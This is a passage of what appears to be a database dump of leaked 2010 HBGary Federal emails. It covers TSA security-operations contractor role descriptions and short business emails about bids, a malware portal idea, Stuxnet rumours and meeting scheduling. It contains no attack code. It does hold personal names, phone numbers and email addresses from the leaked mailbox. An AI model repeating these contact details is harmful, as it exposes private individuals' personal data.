TSA policy and IT Security best practices.&nbsp; 3.2.1.3.2\r\nContractor Qualifications·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nContractor\r\nmust have excellent communication and writing skills; the contractor will\r\nfrequently participate in official meetings with high ranking officials from TSA\r\nand DHS.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPrior\r\nmanagement experience leading a team of SOC Management Analysts in day to day\r\noperations.&nbsp; Experience must be\r\nclearly identified in the resume.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAble\r\nto act as the outward face of the SOC Management team when dealing with customer\r\nservice issues.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nExperience\r\nwith change management procedures; Experience must be clearly identified in the\r\nresume.&nbsp; Experience and aptitude\r\nwith project management; Experience must be clearly identified in the resume.&nbsp; Experience and aptitude with network\r\narchitecture and design; Experience must be clearly identified in the resume.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFamiliarity\r\nand knowledge with knowledge of IT Security technologies to include but not\r\nlimited to: Host Based Intrusion Detection, Network Based Intrusion Detection,\r\nFirewalls (Stateful and Proxy based), Wireless Intrusion Detection, VPN, Proxy\r\nServers, and Anti-Virus.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Experience working in an environment of\r\nsimilar size, scope, and complexity; the environment and area of responsibility\r\nmust be clearly identified in resume.3.2.1.3.3\r\nContractor Performance RequirementsThe Contractor shall:1.&nbsp;&nbsp;&nbsp;&nbsp; Track the activities of the members of the SOC\r\nManagement Team.2.&nbsp;&nbsp;&nbsp;&nbsp; Report on SOC activities and performance to TSA Information\r\nAssurance Management.3.&nbsp;&nbsp;&nbsp;&nbsp; Maintain an inventory of the tools used by the\r\nSOC.4.&nbsp;&nbsp;&nbsp;&nbsp; Insure that the tools used by the SOC are\r\nproperly deployed and configured.5.&nbsp;&nbsp;&nbsp;&nbsp; Regularly evaluate new or improved technologies\r\nwith regard to replacing or upgrading existing SOC tools. 6.&nbsp;&nbsp;&nbsp;&nbsp; Maintain an inventory of the procedures used by\r\nthe SOC.7.&nbsp;&nbsp;&nbsp;&nbsp; Insure that the procedures used by the SOC are\r\nfollowed. 8.&nbsp;&nbsp;&nbsp;&nbsp; Regularly evaluate the SOC procedures and add,\r\nremove, and update the procedures as appropriate. 9.&nbsp;&nbsp;&nbsp;&nbsp; Act as a liaison between the SOC and the rest of\r\nTSA IAD. 10.&nbsp; Facilitate coordination between the SOC and the\r\nIncident Response team during computer security incidents. 11.&nbsp; Carry a Government furnished communication\r\ndevice and be on-call after hours. &nbsp;&nbsp;3.2.1.4\r\nTeam Lead, Incident Response3.2.1.4.1 Contractor General Requirements·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDuty\r\nLocation: TSA Headquarters, Arlington, VA or TSA SOC, Ashburn VA. &nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHours:&nbsp; Core with after hours and weekend\r\non-call status·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCertification:\r\nCISSP, CISM, CISA, or similar widely recognized IT Security certification is\r\npreferred·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nClearance\r\nRequirements: Active Top Secret with previous SCI clearance held·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTravel:\r\n5%·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYears\r\nExperience: 6 minimum of strong relevant experience as outlined in the\r\nPerformance Objectives·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nContractor\r\nshall provide 1 individual for this key position&nbsp;The Team Lead Incident Response shall manage the activities\r\nof the Computer Security Incident Response Branch. The primary focus of this\r\nBranch is accepting escalation of computer security events from multiple\r\nsources, validating and verifying these events as security incidents, and then\r\ndirecting and coordinating the response to such incidents. 3.2.1.4.2\r\nContractor Qualifications·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nContractor\r\nmust have excellent communication and writing skills; the contractor will\r\nfrequently participate in official meetings with high ranking officials from TSA\r\nand DHS.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Previous\r\nmanagement or supervisory experience leading a team of Incident Responders in\r\nday to day operations; experience must be clearly identified in the resume.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Previous\r\nexperience with change management procedures; experience must be clearly\r\nidentified in resume.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Previous\r\nexperience and aptitude with network architecture and design; experience must\r\nbe clearly identified in resume.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Familiarity\r\nand knowledge with knowledge of IT Security technologies to include but not\r\nlimited to: Host Based Intrusion Detection, Network Based Intrusion Detection,\r\nfirewalls (Stateful and proxy based), Wireless Intrusion Detection, VPN, proxy\r\nservers, and Antivirus.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Experience\r\nworking in an environment of similar size, scope, and complexity; environment\r\nand area of responsibility must be clearly identified in resume.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Experience\r\norchestrating incident investigations among multiple external (i.e. external\r\nagencies) and internal stakeholders.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ability\r\nto track multiple incident reports from external organizations and respond with\r\nstatus.3.2.1.4.3\r\nContractor Performance RequirementsThe Contractor shall:·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nConduct\r\ncase triage and prioritization of work·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTrack the activities of the\r\nmembers of the Computer Security Incident Response Branch (CSIRT)·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nReport on CSIRT\r\nactivities and performance to TSA Information Assurance Management.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nReport on current\r\ncompute security incidents to TSA Information Assurance Management.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nRegularly evaluate the\r\nIncident Response procedures and add, remove, and update the procedures as\r\nappropriate.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMaintain a current\r\nunderstanding of the TSA IT systems, TSA IT policies, and TSA IT operational\r\ngroups.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCarry a Government\r\nfurnished communication device and be on-call after hours. ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAccept escalation of\r\nsuspected security events from multiple sources, internal and external.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIdentify the necessary\r\ninformation needed to validate and verify suspected security events as actual\r\nsecurity incidents and obtain that information from the correct TSA operational\r\ngroup or groups. ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIdentify the necessary\r\nactions required to contain the threat involved in an IT Security incident and\r\ncommunicate this information swiftly and effectively to management. ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCoordinate the\r\nactivities of the relevant TSA operational group or groups in remediating\r\ncomputer security incidents. ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMaintain records of all\r\nincident response activities and file them in the associated case records.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nReport incidents to the\r\nDHS SOC.&nbsp;&nbsp;3.2.1.5\r\nTeam Lead, Threat and Vulnerability Manager3.2.1.5.1 Contractor General Requirements·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDuty\r\nLocation: TSA Headquarters, Arlington, VA·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHours:&nbsp; Core·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCertification:\r\nCISSP, CISM, CISA, or similar widely recognized IT Security certification is\r\npreferred·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nClearance\r\nRequirements: Active Top Secret with previous SCI clearance held·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTravel:\r\n5%·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYears\r\nExperience: 6 minimum of strong relevant experience as outlined in the\r\nPerformance Objectives·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nContractor\r\nshall provide 1 individual for this key position&nbsp;The Team Lead, Threat and Vulnerability Manager shall manage\r\nthe activities of the Threat and Vulnerability Management Team. The primary\r\nfocus of the team is directing and coordinating the response to cyber threats\r\nand vulnerabilities that have been analyzed by the Cyber Intel Analysts. 3.2.1.5.2\r\nContractor Qualifications·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Contractor\r\nmust have excellent communication and writing skills; the contractor will\r\nfrequently participate in official meetings with high ranking officials from TSA\r\nand DHS.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Previous\r\nmanagement or supervisory experience leading a team of Threat and Vulnerability\r\nAnalysts in day to day operations.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ability\r\nto handle any customer service issues that may arise in the Threat and\r\nVulnerability Branch.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Experience\r\nwith change management procedures; experience must be identified in resume.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Experience\r\nand aptitude with network architecture and design; experience must be identified\r\nin resume.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Familiarity\r\nwith, and knowledge of, IT Security technologies to include but not limited to:\r\nHost Based Intrusion Detection, Network Based Intrusion Detection, Firewalls\r\n(Stateful and Proxy based), Wireless Intrusion Detection, VPN, Proxy Servers,\r\nand Anti-Virus.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Experience working in an environment of\r\nsimilar size, scope, and complexity; environment and area of responsibility must\r\nbe identified in resume.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Historic\r\nknowledge of the evolution of malware from early simple virus threats to\r\ncurrent complex malware threats.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; In-depth\r\nknowledge of patching programs of major Hardware/Software manufacturers.3.2.1.5.3\r\nPerformance RequirementsThe Contractor shall:·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nReport on current\r\nactions (i.e. deploying countermeasures for a specific threat or vulnerability)\r\nto the Team Lead Threat and Vulnerability (T&amp;V) Analyst.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nRegularly evaluate the\r\nT&amp;V procedures and add, remove, and update the procedures as appropriate.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMaintain a current\r\nunderstanding of the TSA IT systems, TSA IT policies, and TSA IT operational\r\ngroups.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCarry a Government\r\nfurnished communication device and be on-call after hours. ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAccept escalation of\r\nanalyzed threats and vulnerabilities from the TSA IT Security Cyber Intel\r\nAnalysts.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDirect and coordinate\r\nthe activities of the relevant TSA operational group or groups in deploying\r\nproactive counter-measures. ·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMaintain records of all\r\nTVA activities and file them in the associated case records.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nReport the progress on\r\ndeploying proactive counter-measures to the DHS SOC Interface with the Primary\r\nCertifiers on the process of out of compliance ISVM’s becoming POAMS.&nbsp;3.2.1.6\r\nTeam Lead, Cyber Intelligence3.2.1.6.1 Contractor General Requirements·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDuty\r\nLocation: TSA Headquarters, Arlington, VA·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHours:&nbsp; Core·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCertification:\r\nCISSP, CISM, CISA, or similar widely recognized IT Security certification is\r\npreferred·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nClearance\r\nRequirements: Active Top Secret with previous SCI clearance held·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTravel:\r\n5%·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYears\r\nExperience: 6 minimum of strong relevant experience as outlined in the\r\nPerformance Objectives·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nContractor\r\nshall provide 1 individual for this key position&nbsp;The Cyber Intel (CI) Analyst shall collect and analyze\r\nintelligence regarding cyber threats and vulnerabilities, and direct and\r\ncoordinate the response to such threats and vulnerabilities. The CI Analyst\r\nperforms their duties under the direction and guidance of a Senior CI Analyst. &nbsp;3.2.1.6.2\r\nContractor Qualifications·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nContractor\r\nmust have excellent communication and writing skills; the contractor will\r\nfrequently participate in official meetings with high ranking officials from TSA\r\nand DHS.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Management\r\nor Supervisory experience leading a team of Cyber Intel Analysts in day to day\r\noperations.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Experience\r\ncollecting intelligence and analyzing and creating relevant reports.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Experience\r\ntaking disparate, seemingly-unrelated intelligence and extract meaning or\r\nrelevance from the data.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ability\r\nto act as a briefer to effectively communicate intelligence data in a concise,\r\neffective, and persuasive manner.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nExperience with different collection methods,\r\ni.e. Humint, Sigint, etc.&nbsp;3.2.1.6.3\r\nContractor Performance RequirementsThe Contractor shall:·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Provide\r\nleadership and guidance to a team of Cyber Intel Analysts.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Maintain\r\na current understanding of the TSA IT systems, TSA IT policies, and TSA IT\r\noperational groups.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Monitor\r\nvarious information sources (including public, private, and classified sources)\r\nfor threats and vulnerabilities.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Accept\r\nescalation of suspected threats and vulnerabilities from multiple sources,\r\ninternal and external.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Analyze\r\nthreats and vulnerabilities to determine their impact upon the TSA IT systems.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Identify\r\nthe necessary actions required to proactively mitigate the risk posed by the\r\nthreats and vulnerabilities.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Report\r\nfindings to the Threat and Vulnerability Analysts for tracking and the\r\ndeployment of proactive counter-measures.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Report\r\nprocedures and requirements among the intelligence community.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Work\r\nwith other agencies and organizations within the intelligence community.Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',16884,'aaron_hbgary_com/16884.html'),(9832,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007724.M379714P14101Q4687.eml','\"Ted Vera\" <ted@hbgary.com>','Past Performance and Resumes','Ted,\r\n\r\nWe need to submit past performance and resumes for key positions on the TSA bid.  \r\n\r\nGive me a call.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1020,'aaron_hbgary_com/1020.html'),(9833,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007724.M591810P14101Q4688.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','TMC','So let me get a vision of the new new TMC.\r\n\r\nEGS data.\r\nAbility to download DDNA and get information from shared AD.\r\nVolume malware processor.  Ability to submit malware and receive report.\r\n\r\nEventually Social data and Information Exposure.  Vulnerability information.\r\n\r\nAll of this accessible through a portal.\r\n\r\nThis would be an awesome capability.\r\n\r\nHow long to have it all working?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',414,'aaron_hbgary_com/414.html'),(9834,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007724.M809906P14101Q4689.eml','\"Greg Hoglund\" <greg@hbgary.com>','Any other info your hearing','Related to Stuxnet...\r\n\r\nVery strange the tinfoil hat people aren\'t screaming by now.  I see a few reports that assert this definitely has to be a \"nation state\" but no further.  I have a few different folks that have made brush by enquiries with me from Gov. on what we are hearing.  Any info would be helpful.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',840,'aaron_hbgary_com/840.html'),(9835,'2010-08-06','\"Briggs, Dana M\" <Dana.Briggs@ManTech.com>','/aaron@hbgary.com/new/1297007725.M283726P14101Q4691.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting with Bill','Hi Aaron,\r\n\r\nBill just had a last minute trip arise for next Monday -Wednesday so, I\r\nneed to reschedule your meeting that was to be Wed. @ 11am.  \r\n\r\nBill does still want to meet with you next week -- can you accommodate\r\nThurs. 8/12 anytime 2pm or after?  If not, I can probably make time\r\nFriday afternoon, 8/12, say 3pm or later.  Let me know.  \r\n\r\nThank you,\r\n\r\nDana M. Briggs\r\nExecutive Assistant to\r\nL. William Varner, President\r\nMission, Cyber & Technology Solutions Group\r\nManTech International Corporation\r\n2250 Corporate Park Drive, Suite 500\r\nHerndon, VA 20171 \r\n(703) 674-2626 - phone\r\n(571) 485-2362 - e-fax\r\nDana.Briggs@ManTech.com\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 04, 2010 6:29 PM\r\nTo: Briggs, Dana M\r\nSubject: Re: Meeting with Bill\r\n\r\nI do thanks.\r\n\r\nOn Aug 4, 2010, at 2:50 PM, Briggs, Dana M wrote:\r\n\r\n> Got it.  Do you remember how to get here or shall I send you\r\ndirections?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 04, 2010 2:48 PM\r\n> To: Briggs, Dana M\r\n> Subject: Re: Meeting with Bill\r\n> \r\n> Just me.\r\n> \r\n> On Aug 4, 2010, at 2:45 PM, Briggs, Dana M wrote:\r\n> \r\n>> Sure thing.  Will you be bringing anyone else?  I just need a\r\n> headcount\r\n>> so I know if I need to book a Conference Room.  \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Wednesday, August 04, 2010 2:36 PM\r\n>> To: Briggs, Dana M\r\n>> Subject: Re: Meeting with Bill\r\n>> \r\n>> How about 11am on 8/11.\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Aug 4, 2010, at 2:19 PM, Briggs, Dana M wrote:\r\n>> \r\n>>> Hi Aaron,\r\n>>> \r\n>>> Bill is available the following times next week for a one hour\r\n> meeting\r\n>>> here in his Herndon office:\r\n>>> \r\n>>> Wed. 8/11 \r\n>>> 11am \r\n>>> 2pm or after\r\n>>> \r\n>>> Thurs. 8/12\r\n>>> 2pm or after\r\n>>> \r\n>>> Let me know if any of those times work for you and I will send you\r\nan\r\n>>> appointment through Outlook. \r\n>>> \r\n>>> Thank you,\r\n>>> \r\n>>> Dana M. Briggs\r\n>>> Executive Assistant to\r\n>>> L. William Varner, President\r\n>>> Mission, Cyber & Technology Solutions Group\r\n>>> ManTech International Corporation\r\n>>> 2250 Corporate Park Drive, Suite 500\r\n>>> Herndon, VA 20171 \r\n>>> (703) 674-2626 - phone\r\n>>> (571) 485-2362 - e-fax\r\n>>> Dana.Briggs@ManTech.com\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>> Sent: Wednesday, August 04, 2010 8:51 AM\r\n>>> To: Briggs, Dana M\r\n>>> Subject: Meeting with Bill\r\n>>> \r\n>>> Hi Dana,\r\n>>> \r\n>>> I spoke with Bill yesterday about getting together to discuss some\r\n>>> business opportunities.  Could you find an open spot in his\r\ncalendar?\r\n>>> \r\n>>> Thanks,\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10390,'aaron_hbgary_com/10390.html'),(9836,'2010-08-06','\"Alan Mitchell\" <amitch@us.ibm.com>','/aaron@hbgary.com/new/1297007725.M34795P14101Q4690.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Linda\'s availability to meet at GFIRST','\r\nAaron/Maria:  See Linda\'s availability below.  Please feel free to reach out to Linda to coordinate meeting up at GFIRST.  Thanks-Alan\r\n\r\nAlan, I have myself getting down to TX by lunchtime on Wednesday. If we want to organize a meeting with HBGary, we could do on Wednesday afternoon or dinner on Wednesday (if that will work) ok??  \r\n\r\n\r\nThanks,\r\nLinda\r\n\r\n\r\nLinda N. Betz   PMP, CIPP, CISM\r\nDirector IT Policy and Information Security (CISO) - CIO Office\r\nemail : lnbetz@us.ibm.com\r\nPhone : 914-766-3860  Tie-Line 826-3860\r\n\r\n\r\n\r\nAlan Mitchell, CISSP® #43156, \r\nIBM Senior Technical Staff Member,\r\nChief Information Security Office-IBM CIO\r\n\r\nNSA-IAM,ITIL,LCP\r\nIBM Corporation    amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS\r\n720.396.3244 TL 938.3244\r\n\r\n&quot;By all means let\'s be open-minded, but not so open-minded that our brains drop out&quot; -Richard Dawkins',279,'aaron_hbgary_com/279.html'),(9837,'2010-08-06','\"Peace, Cheryl D\" <cdpeace@nsa.gov>','/aaron@hbgary.com/new/1297007725.M514206P14101Q4692.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Number','I am in Europe till mid next week\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, August 05, 2010 10:57 PM\r\nTo: Peace, Cheryl D\r\nSubject: Re: Number\r\n\r\nHi Cheryl,\r\n\r\nCan I schedule an appointment with you to come by and chat for a few\r\nminutes?\r\n\r\nAaron\r\n\r\nOn Jul 30, 2010, at 10:41 PM, Peace, Cheryl D wrote:\r\n\r\n> I am at Rao at the bar if you want to come by for a few. Meeting friends\r\nfor a cocktail in a few\r\n> --------------------------\r\n> Sent using BlackBerry\r\n> \r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Peace, Cheryl D\r\n> Sent: Fri Jul 30 20:02:44 2010\r\n> Subject: Number\r\n> \r\n> Cheryl,\r\n> \r\n> Sorry to bother you but do you have a minute to talk.  I don\'t have\r\n> your number handy.  It will only take moment, but I have some\r\n> information for you.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal\r\n> 7195108478\r\n> \r\n> -- \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> 719.510.8478\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',424,'aaron_hbgary_com/424.html'),(9838,'2010-08-06','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007725.M765583P14101Q4693.eml','\"Briggs, Dana M\" <Dana.Briggs@ManTech.com>','Re: Meeting with Bill','Dana,\r\n\r\nI am at the state department at 2pm on Thursday.  Friday i am open.\r\n\r\nThanks\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Aug 6, 2010, at 10:41 AM, \"Briggs, Dana M\"  wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> Bill just had a last minute trip arise for next Monday -Wednesday so, I\r\n> need to reschedule your meeting that was to be Wed. @ 11am.  \r\n> \r\n> Bill does still want to meet with you next week -- can you accommodate\r\n> Thurs. 8/12 anytime 2pm or after?  If not, I can probably make time\r\n> Friday afternoon, 8/12, say 3pm or later.  Let me know.  \r\n> \r\n> Thank you,\r\n> \r\n> Dana M. Briggs\r\n> Executive Assistant to\r\n> L. William Varner, President\r\n> Mission, Cyber & Technology Solutions Group\r\n> ManTech International Corporation\r\n> 2250 Corporate Park Drive, Suite 500\r\n> Herndon, VA 20171 \r\n> (703) 674-2626 - phone\r\n> (571) 485-2362 - e-fax\r\n> Dana.Briggs@ManTech.com\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 04, 2010 6:29 PM\r\n> To: Briggs, Dana M\r\n> Subject: Re: Meeting with Bill\r\n> \r\n> I do thanks.\r\n> \r\n> On Aug 4, 2010, at 2:50 PM, Briggs, Dana M wrote:\r\n> \r\n>> Got it.  Do you remember how to get here or shall I send you\r\n> directions?\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Wednesday, August 04, 2010 2:48 PM\r\n>> To: Briggs, Dana M\r\n>> Subject: Re: Meeting with Bill\r\n>> \r\n>> Just me.\r\n>> \r\n>> On Aug 4, 2010, at 2:45 PM, Briggs, Dana M wrote:\r\n>> \r\n>>> Sure thing.  Will you be bringing anyone else?  I just need a\r\n>> headcount\r\n>>> so I know if I need to book a Conference Room.  \r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>> Sent: Wednesday, August 04, 2010 2:36 PM\r\n>>> To: Briggs, Dana M\r\n>>> Subject: Re: Meeting with Bill\r\n>>> \r\n>>> How about 11am on 8/11.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> On Aug 4, 2010, at 2:19 PM, Briggs, Dana M wrote:\r\n>>> \r\n>>>> Hi Aaron,\r\n>>>> \r\n>>>> Bill is available the following times next week for a one hour\r\n>> meeting\r\n>>>> here in his Herndon office:\r\n>>>> \r\n>>>> Wed. 8/11 \r\n>>>> 11am \r\n>>>> 2pm or after\r\n>>>> \r\n>>>> Thurs. 8/12\r\n>>>> 2pm or after\r\n>>>> \r\n>>>> Let me know if any of those times work for you and I will send you\r\n> an\r\n>>>> appointment through Outlook. \r\n>>>> \r\n>>>> Thank you,\r\n>>>> \r\n>>>> Dana M. Briggs\r\n>>>> Executive Assistant to\r\n>>>> L. William Varner, President\r\n>>>> Mission, Cyber & Technology Solutions Group\r\n>>>> ManTech International Corporation\r\n>>>> 2250 Corporate Park Drive, Suite 500\r\n>>>> Herndon, VA 20171 \r\n>>>> (703) 674-2626 - phone\r\n>>>> (571) 485-2362 - e-fax\r\n>>>> Dana.Briggs@ManTech.com\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>>> Sent: Wednesday, August 04, 2010 8:51 AM\r\n>>>> To: Briggs, Dana M\r\n>>>> Subject: Meeting with Bill\r\n>>>> \r\n>>>> Hi Dana,\r\n>>>> \r\n>>>> I spoke with Bill yesterday about getting together to discuss some\r\n>>>> business opportunities.  Could you find an open spot in his\r\n> calendar?\r\n>>>> \r\n>>>> Thanks,\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',12691,'aaron_hbgary_com/12691.html'),(9839,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007725.M989065P14101Q4694.eml','\"Peace, Cheryl D\" <cdpeace@nsa.gov>','Re: Number','OK. If interested do you have some time to get together when you get back? either next Friday or early the following week?\r\nAaron\r\n\r\nOn Aug 6, 2010, at 10:44 AM, Peace, Cheryl D wrote:\r\n\r\n> I am in Europe till mid next week\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, August 05, 2010 10:57 PM\r\n> To: Peace, Cheryl D\r\n> Subject: Re: Number\r\n> \r\n> Hi Cheryl,\r\n> \r\n> Can I schedule an appointment with you to come by and chat for a few\r\n> minutes?\r\n> \r\n> Aaron\r\n> \r\n> On Jul 30, 2010, at 10:41 PM, Peace, Cheryl D wrote:\r\n> \r\n>> I am at Rao at the bar if you want to come by for a few. Meeting friends\r\n> for a cocktail in a few\r\n>> --------------------------\r\n>> Sent using BlackBerry\r\n>> \r\n>> \r\n>> ----- Original Message -----\r\n>> From: Aaron Barr \r\n>> To: Peace, Cheryl D\r\n>> Sent: Fri Jul 30 20:02:44 2010\r\n>> Subject: Number\r\n>> \r\n>> Cheryl,\r\n>> \r\n>> Sorry to bother you but do you have a minute to talk.  I don\'t have\r\n>> your number handy.  It will only take moment, but I have some\r\n>> information for you.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal\r\n>> 7195108478\r\n>> \r\n>> -- \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> 719.510.8478\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3544,'aaron_hbgary_com/3544.html'),(9840,'2010-08-06','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007726.M223782P14101Q4695.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" 